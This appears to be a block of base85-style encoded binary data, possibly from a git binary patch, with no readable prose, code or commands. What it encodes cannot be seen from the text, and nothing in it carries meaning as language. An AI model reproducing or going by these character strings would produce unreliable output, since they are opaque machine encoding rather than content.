zNv656NGq&6z3WSp6h3P=aCKV@hNNuI?G8rU3S@D7@53MluTJiWcYcmr;DiK@ZYvX7X9|~5&D6;Z zY;e$HI(*oGzSlN;^Ov|RySAu#&IYJYv!exW$>!fx5^|3$y6Jn5>zVA}s$%yX;Ws_N zWY0UTuGS=Zx1|dcY#&?hinu0Mt<{UvHaK2-9jG9T^t`GX-Z8W(Nd0*ID9@h`8Nm*~ zCeHBQ6MfA}p{kq!;)|p!An?EZ!rwy9{7cAdnm=i=+=R=!?fnz%yuRT_S%L&kZRc)9 zds1IduC@V5<(q`^Xr063pH6eg(>4YAG6gt4Pb^TIpC@STx^(>X?at!Ayj!oc?E-1k zIr*LKAH<+w(TtSSr;Od+CKr!o6>y+!j*JWVIz#NQ9+3Q$h3L7jhuo9ITyL4t6DOC? zD5LlLMVf_s0ZjA9Gq66``DU#$Ik2703bH}<1KgYRXEH!l)@iHhKS$bc&TPW06E>Ur zZEOGZ>NqY9ZlN6i!>|3_4bjZ-K-XAXe@JE@Xezyr-x1MX%Iz$GAn}7V5om#p))U!z z%!Tnc8^RbX*}>aeM#lAJU5>Kv*$c8?`)2(HiC{32Y-=+WscRPvZ4LqA#f01rebGTt zvBE4RzmGo)HI4BaMD=j)LhvzhGSpfs-`1Hw*GE}uCd(4Dfp{wST$ zTjA1ovb@(cDHq!)^4f1H>R&qwnhW7N z6|#xJNbO*6a|a)zW1GZejj%Xzrf-Gplj^eRdED2Lr82T!2;hwH7= zG9BlJLS%rwZvey$PVJ!OD|?+QnZ+z~^l?7xj3BG=<(7=%pkWPVLw8d!PN@1N$WV_H zX%{5uN^jp0S|k;M6p*@cyA1bn>D`oPlLiNY*lS08{86PHj}3_{-YD5(Pp< zfN!p>TX{jEy;o=2M){qRG|dX^OMc?p+3FQpm(Xy^E$*5WG{MJV;9tn;==+%-T8nR` z4eRSus7d)z)TL9f$97J)SBz$-@jf@q$&V#PCX%LF z3O>x!O!c~-65(QhqRY@mT|(D?@Hr>5zti^VVwuuAkNI1?ZLt*SSSlog*n@UG<^7ij zznF7I{CWEYyb%f6Bj0)HRm%!#E?{Y8O5F!oHSc1c zA;PfDi077Q{+(vS3BZrq5V}O=iPm=+uu`y|O6|&DRe0!%+UI9oQ|f%HJH1mub6Ha( zZ$-)5OP?k14{ts|gZ~LxBJXq-P0r{1nS8pICzX2)Vk9c=%b$(*Emu3rLyp4;PHYq^ zwsMQ>SqU^gYLQDcWiGRT{`7RZ<>YFa>uLAm0cWjt1M==)_4`{3i^`e4w!N&iX7SVH zu&$aeZDbl!tb!Yn_pr%oLt^~AQbI*MVK{Me`BhYvQE|P}pa|~Z+i#zU@A#I{{m;E#KswchZ25?HW>moN+Jh=Sy_-<-lcpHrK0j(Yb=|{Wc zozcmR9wZg`9vtg*A&r4)KFqICr1>}XrmR23qt?_V@lxxUAt#JDaDK$exs@``KusEZB=ugeDiwqy(?W z!JzxgP%la)gi;xS9t`?jh&-)6-bVgB)tSi>%ZMM!8XAd@ZKyd@fZ#or8gw_%{d6yr zvid`<0#ufWC^+(kQhW_|%$D28Kx!_qL1)1W(hXH+{5Rv1P0Pf$^<8SsMmo@mV_^CS z@?8+4nXa2^axuFrMOowCrl-=NS_gGek-9j837NxS#Tm6-C7aF+ER;4egJKMUcc{cz znducIufz4gX5%}QHMsS_nWQqc=0noXWhq;zP0k=iM|&MRr}!H=4r~@>O#tNG{B*s|RbN1w29$miHq-rpI z$c?!_A`S2nmNr`JHnPx&bneED{-;kVVJuWVkMkLz)I*RI9zV_qo_`p-+=64;D4Gl^&Wme#Xo zi0c|eNhIRrpBug?jj63vdsB3`UGmAI7QA0-u>9XWL6=(aO_2CpHiw>u0oTZz1aoaZ zf@H?~;g1}4M928D-;+Gj)p>lQGEwTQ=W6bnzs;DnQ5Vt7G`QP!GtyN3Lru^q9{+S# zI^5OUEi35?=zgT#s@|G7?#_R~&XbXd24%6U-ixw=;*+jtzJ1VX@-@w384?i|HZi&> z&6Bwz1maFr_G`A@OXqunm}Kd0aa#(zW4+tx06^>xfn=)9nwsHoCI|z+josIkH-10Ox&n1uX9M;++!7 z#WaTc;U{oczrEMY;^kMHr&ACDd9|5tg^0yOs^rx>`_87wPTHzeKWc3WV(%VhN;CYX zwbd>L-@u%0Hw}KZZ(n2``zD2bMg=_EnItRscOJ*`Ftzj#PcYLW|1M-vSFU`&|9O@& zP~esS)_><$Y(iVx9^E|5Sg_wjeZjX6rIMo>h|@nx{@VzziLS_lHnm>H#Huxi_azWn zfV>q;Pf5f>R7tiEXsIq@sFv8z9-MhphVTy6oJqVKJ@j1Z7d6XtT1K1}x+xb>m#cFc z8?$`PlQf|91Po>-eVz_v*y#)_x&~gt%}y4WQ$wQ_N|ZRu5W)YX-giZNGSxE#P<5bH zbTXU}4!AqJerflX?2PwCX#T~d>>6BH3`Dy`9p)$e2kNSN-FUB`^TL+Br%RUQdn0!? zS%nI{L7`xAjTa1Z`2$u=XD+(jJXYo3VBb?ar8l8GQnB`2YSla_Y7{?zG+7bu!&JKj zk#Mxjh$M{-F>`CUy+HpgA8sBDeIy5F-VXJse=1W7@lt?=?u>M9T*{2o|#jD$Y z$NZ$X6A&E)prTLYf!uPLf5S>_P zy3)D9>YVot0%rM~`~8AD4*DijIlRN3!y<+TbiFGpvcAk;Ylz<$J}lg`PpTGMI}Y>1{j-RMYc=8oMqhz7HD03#QO%G?7@{P; z5%`9W(ruu9aBQSVDVTXoV7@j~dhOrgYd~&=- ztuAZU5N>S1el}>Boy&BW*==^H?lC{bbmZ(YP97 z{XOJbYPj{rt?K;O@YGQYTBq0Oe}9B4DNNbqsr{fs@^0-B^LRQgFV)@Rl9~QyBRpiD zY2&r=;tI)Ta!HYrqdY}P8Esk38Ol67dsi;e6z(3=mq$5W!oJaN{JH7SrJ~hxs0+>T z_M}<)wv@xo1AlId!iKb0HZzNvU;!d06??_*c#!zKutu4b?3t6rhH*}jT>!D;J_fPT zGJou8*OUBuRY*>0lg)wg(~yOEPbW;5JacCBzi(D6H5pU#-NPz34GC^x53l@n)@q8? zUU@ zCk*;l9t9DAnK`Fc_ZlvZW-!0owNX(LytdGjN4aDrzJJ{d z$3%v7uP-rQ6z!_)f;F_WKGCl5>9P+Pc&}iv|M-*AD@q8iigV-GS@8J0__-r}WvHYL zt;7)X_tY>a&8dX@@IbzT_5r1&64I?;!o%OhY>c~3Ki*WSS6({W+Yqt z+oo!vPO!-mXzwB`Sm^L^D1xJ6^|MfVNwcbMN?U+pb^wccu-%x>A-`6f8QWWQwy1fF zNU{g~V|OiBqx8SUh_6wlV#iyaf@iIY0KuK(%|2p=-`T5x;11X=d?QkF?7yY%rwQ;sAL6UI^0Dx8`r4Wk#2>2wh z!-RXvM0KVPt13=Axv-y-N}*D2`&>`J)fNS|1QpN`bNGdfil1DusrpaQY48)=7jCQB~*s95v#GPvq@+LM1Uk4gxvg=Sy@$bj@ zzzXqE1!Bimg)_VTlS6>V?Ml(Ht2N83XEgWP6;i-Yy*~28J^6k#ohTY=33lAS_TwsN zyQg516~Ca9Jx)4YsTCJ<;lZEO^3_~=YioqhN;|Gai{bs>XgB_h!fmH}e4EVKbnO(b zGovFwAiY;EQbMp}p#n64HU9*^exvYbJvj0Q(5cYw_NHh?YO540W&A&l?x>PonLvgK zIJUPxeb<0n9+$OM-c=k=zk{W(7-!*_leOH_X|l%m`|hq1 z&2Fwo#SI(FC$Mm7v_l@ZO|eUJzX{x~if~dmOx!Hv*`Er^BuM=m{6hDV6T_3MY3;=2 zGMny)Ltn0EGmACNQ4$pWos|1@Z9_Zw&sI7G{=Bwt|6X^&oWx+lA}I-2A~%ybU`b8v zu8;>JyXt@eY1(@);*Cf9mocC;dh?$~5|kR()&(UL%!^L+o}RX~bBs(UOe(=u5t+Ga zp3+wTsI~Z;kL9n}pjUMDJ~QMtMl%pgnfJ%5-9VBVWH2G66}k*&*!(fj*?3ly5;6w; z5;whLvn5Jk*sU<;sGC@lb&UZObc=#x2d859g7Mo<1WW;x^a0w~c*-m%B?4@lH|v`z z$Nf%o&4<;qz{GQfZHGyl5gcxp>z)?{-2kwOG+lH{fn$InJC9>xp}|}2w!@cTc=Lf} zm%T7BO9om=BX=;N6 zIDxZ@LI2cB`;L!D%};!jBLO|mb!!7(p5?O7Ltak!j|O`olK%rRX%JWO%~ZMO%w{3_ z`5ONQyqE#+t`wcNO9Xf@Y(U?s8)f9T+q(fnyR!%tSL$!@$?qC0wFKJ`vUKp8mV*43 zg3b0}{GP~@amY=&k=6Bkrbn{6@319f@$lJ`j7#$kc6klM7iHJNU{@R<#+?rKu$D1Xxb_ZwugsD zqvR%ENfv~pw9c;9{e< z;JBApZHud^L10DFSY`ipu`A;%>hGo|4eCj)lUb^X>-G;s1bn!eT;1<~a@ebem#f%e z&_eQ}Z|!MzZqF%i)%IfU6nt+l{TJWS?Zl*;I99r$g8DiDPjKyKn~zW|x^+?}*uxn5 zSI<6k;_xCQS}jJGcTM)pTX(#%t2yQJo8}_%lZ*{VnDV|%|qA6DpO(v)zs75r4 z1>rY|lYLCTk)U>MtlVPxpX@`Ue?O~ra8UvuDWlTd9#}C4X5wHFb>#vV<07C$_{^%I z6GC|35D}LqGC%*sWB;<Xp{bG&*qqUA`60Vm;YuPpIR>5|#AWDCKVz41Qj-7bC zzu`=dl41^;_5S zwAZ!IOa9|7KxjA{4rFt=oVm?`I_e@bmqKy_tG_(LGc>tRT8H9**d?x& zTTgCYovq|F<70Mwt^6suEwCe}-X3e~@6mqtGyV;t+r{S!#7sV9O~K%SInVY=VTzE- z6U54Q6-$lW+xBNlr+ejA_dPz7zSo>4+x{V$pEQ0i%z%`*gx{dmj~l~=!wi~y+(y{M zDWc6Klz=3mPdUp6sSe}9y5d2Jf~)18wdL+K8P+kEVusN0bX6#)!rnpKOQ^Y4eCyx8 z<6DIs=4aj_CiA(HCZ_FS-1@U7XVp4VNhcpI-$Ed1Cf7rFV>{Epf4 zz|lIaI=mX8KIt*+_M?#M(dI-is!sulPMd*WnJJIB#8zlI2X^_A~df) z#(xo>{elL)A*Kn|uldmJ{RM~Rw?gPzq)V5ByaACS6>ssKq43AVk} zo>^fnTA&Mg0bd9556ipne!WWg%Z5BkyCSmeyBGmG=ylX`W%G&p@=U~T_ed|=dFwX2 z=dEa$jr)h(yAln`t3KO_)#78D=0DC!W;7>rTU^mG_N(Uvrdyp~dTMzxEotA4t1kQZ z1hOic+|>TN`kI)4TsSvRjh|=1RSx$0t+-q;JY*Y#l61dyCfXF)2-$ZPF@LZl5%iAj zNx+Fw$x3=^jJH5BiWt83?M3otG-u1D&6|q%G+^pS#Ar1dV4h@|2y7FPeILhh+;&iN zxC6sAW}f~&af=p7YG+AH(h1Faq)`|#5F;G8K>i-Qu}3euJ#U+v)M<*WeA{2pn>1@v z23@@-+=*5A7SaW#A9txWEnP)HNtfv24mbGv3DCVWNb6asM&gk_a#5D-&qJCCS2)|X zV=ca$)cl%Q*t8dy>vH~hrdcQW^qxl5(0j`|CpkkG5-^OdA*uy9tE+G#yYhn74xA4> zT6XH}dwsD)Y!ianG`l7KEL8G#x{sva{Ab&SlMhSt_-hjf9U$woo*uVB5aDQvNuuLf zYYD?--iz!}Hg1dSK1OyeAnw!KcrU8Um7pd7%~Xqb0a7Y}tFo7xC0%h)#wPR_zBR+Q zo7Ox-l%*5V!NI}ww9#rP@jVny9R|>!MlE~`9aNdoW|aF~SOoOl)*q#pPsKVkY?Fp| z%i@unH6fe$40;W$H)9-Tw1Xqi0??EI6!<@AQbD5u-EsL8EJWKefFYaUz=oxKMMI7N z%|aA;4TYe-2Qvf@P86`Gf%a)_C#2z^%Vs?@3t=ZxG&4YHhGJNdumicK4LNbeK2p2V z3*<&up*LeJ_%dM(OjGV>T|3{5I}b!|KW32eB_lmmr6PmZm2Jw0&72pBD=P<9PRNnuD1$ zA01eJ{yo^QdHEH=wIo*druIodoG|5w-=L`887Bi{l|r5l|9Tbw=VPrJVfXD#@NU4}}aj zIg>n6__kd1o|MFRCxa5siD$YsMxv>2!fzQh z@ol$bsu1?Fs4IMQEA3Ytqt_2L;69Q|VheX?_hg;=GtY~%s#8}U7Whnu)Y$NU%bb0to9$i@4RGW6Et$BkSRFLxQ4zbOh06AiKI0I1-{Bd2N6GbvA3A7*!6 z_@(NBn6#mNzwcx}JX6Q=C^Gz}2n3WR`^roq;4&VuaswpmDJNoeGkGy>cggB~$Nrcd z{8Rel8%n_eTLNIsj=ZxAYBY>zmwd;JTU0k(~YEN3D8Q~w~~`pVX>4_Si1EtkpO z5%HR>8U%Ok;=}CfqrBz{jv4ySh)^DCLO+w#W#%AhCz>@Fr?WJ@hI?&nZaHxrk%$+M zv$jmob@#XYZz%M}(48q0AHd zc{73s^(m8|+sCoNrSA752J{!&Vimk7R&SvqWI?^o*1LDnLX$U?vKd6L1cjjePMLEG z#GXdt7HQ*znEw!~li`;tXC&rXQClOkUW^UuDKfnG(+HCAHLr$ft5J*lADYhloz3@Q z!&R$VTWgalmG;vXsXf!7R9m8x+O_wrO=8t7T3Raz)f%;{X3Zj@_KY18#3mw0B=P$G z@cs$UaXiQU9M5%M*LgN(6oaWxBp-Mlbv*|UYVLK78BJ-{1t}D8DX6m}$AHYZ_hqaa zPRoc293efrLqW$prRWqtoe`J-CN)kdc(BFVHKJlc=O2Xe7Ettjp$-O)a+~0j>m>m>AoVYkC7hXMAp_DYkl-+Tg9^2!psJM~SQ$t) z(^`st!THZjZ8CHlXT#q`I&;{0D=rw*W-7^9)FxGrsCPsCk+@xL=*lUj%`AMqWvyFw z@OqehF=&e{5(U_opy}RWI{WvdN21X94tT0=_%q`T381ev4f@8{_z{qU8d$JmIG+#@rbbS?@(vCdW7=*+`&_>2 zYAY$tRnaG8JUcRjhD?q8+i^>7J3TsuE?hkW?PVU`MC`MQ!$_5MfAaE%fM!7C?n^L< zYx!lW<-xIsjZKIL<};+El~msGpe`}$rXX4rzT59vnXdN?gT5jHKG{9X`~sV$Jl+uT zj2UtP&ZlSK0WM#$nl@1-;?fE zP&v)y%XhpHk#UgiKui2;P~&^!aRs_D$gtw}h zVLdYo>I~qGzD?zpXh8Vj^L9Ize)0R44SOe{cvuB&st76yEAE1~`bZzq+h<1YZ$quK zM`u3mdLbIUcEch*apS88GaBuSD}xV=RNuH+?Y}0mA;opCc?7tYNBT&$tGK2XoDXUd z1iL~+*4&Idu5^^#c&L-Z==WcSgtKYCcX;^N2<9Ion@>+1WM}SQf*TQoAjlqO;R)vf$no#si(^_x!QW3<#0pK{m0Pv^v(oz=PaMr?LJYVjboGcphbDKBX}9+Av_O<;$f zc|mA9(GIJ-Ae)&Zs$}MT?w_3V?9094A&1amw$kHX&x_~8(|$J`{IU$`A1Zn4dWm5Y zIK1ztPU%D%)7H%>)k-O$M0p)gzYT}vBzKts7W@iHz+!`NM>yu}YH zT(Zuay9}2R6)RU=xtdgC%Vla)?UpWXdxe!yYUZs6&1xk(l@>eA)dmC4Y(?+Jry?!G z_cUH|;{k0X6y&Al+Z!0$NyQJ&U@s$D#?T!<%El7~jdXvZlEu|`=I>?n8;J4XCEYsh z1O!PLS{8&HsG!KV9k?kfygc8$+Eq=IRhWfh_WC~2ju$r-1?Ux@GIIGAW z>bk7OlpAr}Jug)}U~lc(f37J8N$bIPyg3rC{&!qF84dmXcA>=okyv8XBz&;lpB(sJ z&SvOgPEoStp{N-lTm2ldC9p+yZ!U961)f_g2)`5w%?E;|7Jo4simhPADm}i>zyEP7 zcXPjme^D>Xqbm~}S}azK8TnudSk11q9^R<3dNIx;LrID&4y-&~R#b#*H1h-B#C5X0 z0)m7BBw_bH$`7N608m-u$k&#DM>1pmHJw-n>2(XJOh|2ByJ%s&fSYsU1Q*pASx@`# z2K0SNrl6zhr$Adc)!^!jVHMgG-YPk2`MWN=4D=tuOqA#&V}r_^#3xJ3Yt_A|*U`m? z(xbo~{)QSe-^DezS(lUx4D~lDzH)ipChaN}UL@{KAA|dy%u9|Lb4@nt4=3w*Q}}S) zn8wB8#v8*m56(MkF6I1t@GUJ>a#6KRr+Yg;khW=gbexIUsRTuysw^13dWiQvJxP`A ztE`wQ)QM_Q@-SH-w8-U8dqvN8CM??`mgy^r*)X!G`BlIWrF_3Ncn)J;BWSJfp{*|&3} zD2g&FM4Q;O);KGxi2WH}i{B0Z-6OhA`MgDW`g&{g4qbc#{!mhg!f|*6&~T+~lu~b6 z!yAFNe^jTlo=&nX{TrBe{EZqY+8e)P$cViq0{~dLoE`yb@v3G1%87afL)s* zub$H205F_%Kg#zTKlxC9V&rr?Q2ua&oV+(n?<@m4cwiVUEPDQsUQ8QLIQ!{xj77G_sn(u#bH z4>fPKm#n1K9wl@NGN@~wFS7MbYRE}PO2K&fEdJZg{zepqa<~W4bG`P)5H+uEOCtr8 zo0X|O-LGyDEW*YsFYW_8ZZp}BZ5lnFN<$~GOL#iqLY+HB$F5Iq;-_lu#+JtZ`F(Lq z36O~uZ#H{=<{9f;Y&<8I*!fZGWO`}{2{DWDs&W4qzUs(zN~x=xY6@8pZ>`h2c{Pn%#XP9Ig~Mll+6m{$A8iIFTT7W*M%|b!v$ikG~5B5_iB$_{KaZhn-fRU zM8FE3hAR6BBro}shBM}3xccixJbwr_D9d6>T%**4JzdB0()dKGe_&O z1dy4bQ^axXXSXfV02@%v1JQSK6*2mVoV1_kn>M%R;A&MsH$?FUfUe36{CWniDFaCz z42nJ|bconhCW;4d>vcoVhR1ndHUO3$(e8(F#0QH^KcBL@e6FOKf|mArGnxv`YoF0e ze4`vOS=H`e1NM);#l2~Gs$Fs;3p0auxT6}viqKk*oA1n`KmN}z^oMKq@kzIW5I^8c zfJ@>+zp3S+=bW=?tj_ktz~_6fuzXMdtCz5&Tila);zB!9X*SpHT4=QHEk?xbd)Uw} zgFq_Q=Y|?xce+uJOeXuS^L~NVTx5Z?jbwMMHFxsh$NT?2h-oyd{k+0aTZ2M}BJN3f z%8Xxx;vE4Yw|YWK!?U~W=$}SXT=2V~_~e6CY>EG*#cgONK;xU+$^&^p;t*vyu@C#S zfx_4}7-;^5>7@S;vC7 zTteO`oM8KylZ2{Tj=KB6$J*@ID3wT8r%{ddRM^(}NZI@Q7{a=UfaIY_;W3*y0EDI% zoHVFLu}A+u3t+7AsIzAC$M@y3uySz0gT;LG$Yef=vF`J{2TkpwH1xCQutS*qVGCR1HlmGzJ-ay` z*5v(f0)V;$+IQxL#9DPm6;Dqij-5p>IUR5{$E=AZ%OfQ}g3tsw7tk6-SzjSG& zA@I5e@f|(#$XE?+%1+RK1SwYZ8Yg^6e%?FobRH}EGNc^i)$O&4sKw^Xp*aB82$B(> zv);xm`qTCBjke{PM!&cpLXWnO$d{OdHOA`ed}M^wn^&WvwO?-w|ALFk1Mm>~c9l%s zx%J@kIFHJ{_1AwWU)KtUVDJ5t){7FQuHU<*ICbntd$2}*^r?@NM?jpz_yBb3?fN}h zK7-S)fCG~$P})A zx=CB-6Z*L4Pe3>G+2VE$h0{h(R?wMXY9}~EgG%dZ?zkX5;9`Bawu)}95B$YN?!0CDleUlfVrGJKbZ7xj4$>^C-PF(yw1l;_D&2h3DzI6i4cfd- z+jnW$6HM*j{c8D#md8cOJ4-(FpowWFuO8hheA(&9(E&ag+zr{+5k0p$B&=Cv7B)3= zp{G-2N7;IUDK>WF$k_331Bw@x#adF=vOvkIWEvzj(OF?TzDms2#d<2M(IY}Dt%dkK z3eP?I7AOaqk!2R}5;4=(hqI)DPq74LIx>BgFBa@+xLZa{#2k#Wo>sR22^OcTBuU_* zqbKE)-4>>%-d(7;_AL~&xs(VdrwZ-$-V0L>3G<+q&^LSv0Lkd()aGXMWs}S)P34`_ z%xyQr7LU!%Ziy$>ucUr?i(3uUIDSpsG*Q>#x@^)^7@BnH&se6-K-R|d zp#{9}mR~oos`gx9cv`FktZ<(@3(J+Exaw5wqHJ3R=0fuB z_EK;DCHEfS_NqXtkf;X8A~Vqq2Fl2AnVEie-fE+Dd*Hss-x}r18aYlgx$Bs@U~aS& zgXP!{m+yj-fK@JP4QL;awm4+1(EHFFel(CB;?Qup3*r7{S>mBpM+x* zclBK5dJg7EeVwavGR^}Q;SIe1UXG&rA_3Eo`*0OvA*g1wC!$WWq2AVdw+g(8(RhH& z&b}4)yL@`x=FHpfoaDCEK7jeem(WNAgm8Do53MeO2B{<7&Ov*bsbtf(RfnC#Z9ZmD z`Ou_j$Df_}^}rxkRmk&>tmWX7*J;bkvQ;N#VyzTC%a-n|!W!f;G{TGMAHFEhM-Q1E zMz9K2e8;W;Q4+K-B2=H}C`*Igdd7l)mq`L*zL>o%J!c1Y%^+}IXm{b zp<<~WhKO#yPm|;$!HEaj%&vF39#hNcYnL2IT!U=)K2IIIa~>R}Nc%Tg#6~@9;dc-} z-(EB1>NB#=m2TaqD*FKO?sf2<)oAe*Wrm$n2KlUj>@*ks(>f#9SWR?Smv?nmV62Ln z(7VOYJ{Z7`&?Rw6?F5J9n|=)ko6_fX3C>we?ScK-likGpP%GVgduF@o>6$kCBk3>B zA&YzfP@nB)e+YdYK?Q9SwVS@SFEHN&Ccg48f+d-RcnjISSJuEx5}05U2)QK6AZ)du z)v7}sJuCjNM32M@$gy!2XJza67xM`b#Owi|X`~kC%BRzGm5RISkMh@^?k&jYVW2RI zW;GidbaNy3%uihOUrpOS1R>g^f^y!tCN1)N6DXH4((!JCsv2|r&G*-~O9qG3wx2=Q zSN}3xa!W;qZ2y1?F+}(HSM}@9fAhbY>?ICPSYM6Q&(h+n(f{<j03w{p0 z5{mzTfE8MI|9wPO;yanpOR7JMjgk>Ts{<8$a8C61@=NJUMaLiI3dxN55({XLkaE3yEeANkZ_*!!8G$e)bY^VQ9|%OL}x?)8ErG5Ah>fMB#$kf!LJ) zvLM*QIqziL1*@yrL)p^YehF)ReB)M}O#wLVzFiS?OQj}f%DH*Ti|+$Q=_K=1u*UQx zwfIuF=~+T}1tiA^`YU4U(%#@TX#--*s4|I7*Nr$RZOhPr@%kP(Ty6DTzi^4E1D?zS z)tf&v`|%USVNtv>mLkXbGuiC3vVhA-HHG{P@fLW6XX*>8YsX#p@jFWVn4Bl?gxkD6 z61m6OM9V$h%yqy`a=jhMj2)MG`i_wVZokxEYkAi2?XDM73uALeck-w1OQv%>jImE?$q(*By&rwJzSc}XE00{LXo1U23UmC^yf%5$_-$?H>=mCCfZ2uPYkaSE z2RBws(0dJ+FTIU;hJ@IUsfK4{&-L)~6bdQ?@?I)P(Jx=Pca)(o-3|wfLAF z67_FFT=LK?YU1@P_5mM$AM2~0;S5)w?pb$1PB9l@E4R_hQ81#*zksAKtS`x_2t7Nk zoaYp$9MpV7b+(Da0^=1Nhrpu2n65@VX|JDR0 zobfgZmD_nb>V6Mn)~VI=K&be49@%M5Dd$@YVKcu=N)PJg#J-=^AGG z+^YcY4c;`)sPUo=KWbBA^F3_73e;N7&;mJCuiy;4|aT^=P^Cxi7(D zgb$1c!s<7K5}o#{;iav5m%5@YW;z@+3P%uc1K+OAQKBCkM;8-eCT$gL&H$`N!&1#3 z9}t7+`V2kD8p`?-&s-sQ(yyH9G6vB`u9$MMaoS^SdO2WXxq;mab0&bkA;z z+Lh`=@}H|&O@mphtZr`p)6=m1c@aNuWqI{?2mv)nnYmR({#@M)q0e-6{G9A?aHS!2 z-iWJ*i??Qi4}b4VU5x(-p$k$TeYqX_CJYWLeBV8b&j@RC4G!AAeCRtcd|wLQw`G&4YF+KP+#mWdR;$ZC*byZ_^c}N5nb{ zELE3a_^i-R9|9e{3nGshLGHRKwIyTj=m8pEvm>aMe5!4OX>FOP;SM)_|Ov@FOTeJ_^hjT*kUuj!SNs&sO$oLz7AYug)Op%q<(;1`x`o|3!6h}wc`J@ZuY`xc4=Reh+O^?gR>zH`B|j3>8}@ocrp)Zl>v_k>%k_>%|~aS+2S-73)i)N zB&o>Bdg1-a#G41%mLV2sp+8pAg3|5RYfS(FCkIl`Jt&!okp=wq$=5ZX5lCYjyGpvC<4mxnw!QU7v4v08hq<$xA=0>7?mw3YFgu6xDMx6c5f99n?C1*hh!UKZkeZMq^jbVC>dnQcAMx=3PK*C*tin(rvrI4mL!ZQQLr?& zVI2;P?ScdS*4dUp>aGys#f>m*b*R0mm)CDpx=PT;es@X@|J zW+sGG3uyLynCl1q^L%F!w|E?J&?0&gOdV+>e+Z_D{f9^1#b0LB8O%9tq&v5FqRW1) zGj7t9TYkBR#ydpkbFxz2tpSyB1A@V5rwB(OxXipwvc#>sX(Hh2yD`tjIo2&Hy^q{Y zR9V3dk!{`P8REN<=__JOeNoNys@}!vJk-T54lN?F>puZ}+?`;0hrDGdn3FMzz@OIm z&ZcL?fcDp=bxOZO9YH>1aK)Z+Zn;;&jDP`24s{KjFH+J(S+yCj+*3kIXGk3!fu%nG z3;X$X`e8@Z@C}%U)|%ftZsdbX43Op79`OukwY6nDb?`j0g!*yYMVe^E>qCj=-1XV( zB#A7g_jR%S4149~^MSKodZ_9xyYQ}G*^2yQ4NxbpBRUT57CU?dh{hqAX zc(lM-_{nqic(1OOr1#%D(&*Y85vq%V3sQ#fK4Ni__>RcYoTwr!o_)xmCf;H$x-y}2UZP@zDHsgIk4KMOFM!jI0aZvq}E)!9K=ckvJ zH=OBa5WZI-lk&j3IKhVM?wFTI_6#t&tIL8W%@dU+blv`|*MK{Vdu?~RQo;R<*jLi_ zE|UD9^0U{nISyDz(j8we_uQW93J0{lY*UA}NVqPQTp9=V>Y&-UmlhOpH=e;^;xY+&IE#uh zbk%SaNhenR)0p2&kE z3)5sD+J#}JMkbn>1RZYmQMA1FsYtA0&NWXavXrp z2?bPtNw@>O0CrE;pYRgAW@u}m;R8-g>Ln%x#-~O&5*62dPPA{*3vCFs%JYk;aTE5& zIxB!=bh3d{Fm3y1*edZPd5hYr3{h8D{PhZYtl*9ivKG0cRYTZl? zE#?fE+ylOgMOS~2eUNzOM*Xvt7nrl!t*E-V;=9p2=o)2OdF#f#2i>m+DI=y~Kxn<$vg9e{`?^C3Zu;d-Zn~7JK;A;Lk%2 z3DXms&q|@u>++(Ho|wQ#j){56&m#XcuJZj^kAq(Yad&3lC%CGPM9aO|$6i6?Zr1bE z%*XcMo?9qqm8lIp3F;{pEJqBoSqpd%{zuTa9n3h`7EiC|EdE-czKsI)m*Fv6- z}{@AWhS(|ax%H*7)l7mgT|AO;2b6TYS^BsZxxX7s}9&KeV z4r*77j2rPtNKf6>R?%n7;Z?=?xW%q-nR#lNZpczqv3YZ=A*=&cG~}vj3+z&JqcqI& zt5m&%MD3#@5jCf^U5oJbIwj*0e1C67H(DCMRo%lj-yPys%d&#R61bXe!Ji1i0Sa+cRXfDIK z=bY{gAGIq{s#ySvWgZ!d6jO|b_aw=?aSS**Ui?(Tt5D9k8L{{KtV{AVOffr<+dUza zwS-k@cQeN2qH{5(>SxI(lO#_<*`L+@RS^yHJ5Y!W_Lp`TQd0T_3qak{QF1xA&F6;B zzXHJZ#o($8jzq!R`|lpR*ln6V4Xi02&TaFupbXd_|F>X_>Zq=$bzA!=OKY#(nn?ce zX4u;~-r>J$ivb`kk_FSz0pT7CZya+@irlRVpm>RDFrvB_Ht~1RRw67m9FRSegpl~; z&Nu99*di#qqMs|rg`D1lOc@r}5>S5jV2h5m!zW}y`N5^9<6^sPm*KKj-dlo@t($^f zE|JN6APl`d666%?#hUB+am*O*uTh~vVM{x_1x0spB#WOx8JYW;VuWW7C7yys{N-71 zFDhgqpyIj0af(yL9S%U4=;BTszpMku44o)(`4<#@Q(V{^`8jLgrfOZ5@}mz=pZ|;G z5)1tHmTz<%d~AQ~6LtB?lgWz%M6k5m#+F(;K0zl$;jo6~V@?7I+mZ`Eie{C}RjnJ! z{MU|0yq^$Vz>1(t^l9c*;lqDND6IZNSJX2WQaxp!9WOJjeda=I6}cxCM_!+%*tu=Z zCvgmwC*m4YXe&jMlI>j|byI@y_EyUwRvJ zvri8Ld>*`3dr=l&eZB3stIp}jaG+w9lxwnR&**o4PN)mO#Z}H2s6wReH#0PD+kojf z@zWh$=rXQl;iN^8(A#^~5<1GUi2?O(=!Lc(9s1t@)BWj#D34RIHXLDrOfnX(rO-pp z*N_$Z?d(=x|3LnF?*G2gGAFjR_6*;z=wxdd{cxBNz3WIM9^LXU=Oumt=DRez=4#sj}?J*cwBtTo=^2!D*Jb57krf3GPx!* zu4K3Wl>grY-I(O5iQi!#$)+hG`+_NFuHKRpdfS*t zUjxU8 zcPlF@zrEzZvre z(7!~L04HgsP=X6QYX{;J@59e3Gf{XRllOT%+$Ua1_m6`VxOczm@Zg!aY_Qq%E;YyD zL3g-E&$Hqs>nBC0{ER^1vbJoY55$i+{|W;6dz~_eC$HL+4;48TFU7;)x)xn8kd<-c zBIa#I)SltwdwUZ_Yn;7oH9jg)Ps3#0z95;w$NKh?qanENBajE=c>Zq|s=jGjWVOyV z9g2)Q2Sal$bWL@nUP@#730qCpmgis%z46lYFsOrZx5t2p%H#R)uGjvki>oBHn&i}6Da0{ry z|D2?1FsCMq9xs}P2omQTy%^){J5oQ)cL4x6>sQ(sIq!R@SXP?KeDH4vCTF7ZS?*Bb zQg)&KLoodfEVVHyg;B(MvfhR{%U`)O(es%+!|QMW{Fuc`sHIypQ5iBZM9mx%=2xZY z$-NlLRY1!BIM(HLI_XK0L?g|B(zX+jg^=(efqV!F+|4)9wuQieeGI zVhSp7P^rPkmixwXSG8;wQqrYDMOwE}S6fHEyCe%H zT)9!D5uc_Annqi}EHCd~lAF_!Mp7b=n(s3Nb)X#0@QZVgbrzs-Nq&;i-J~4Z+>f2z zBis(dU51xi+4`b$2xFy^)h4(B(pYb63$^1*R!E$P!RS~SIP{=1wY8$rkFRYs7A!iZ 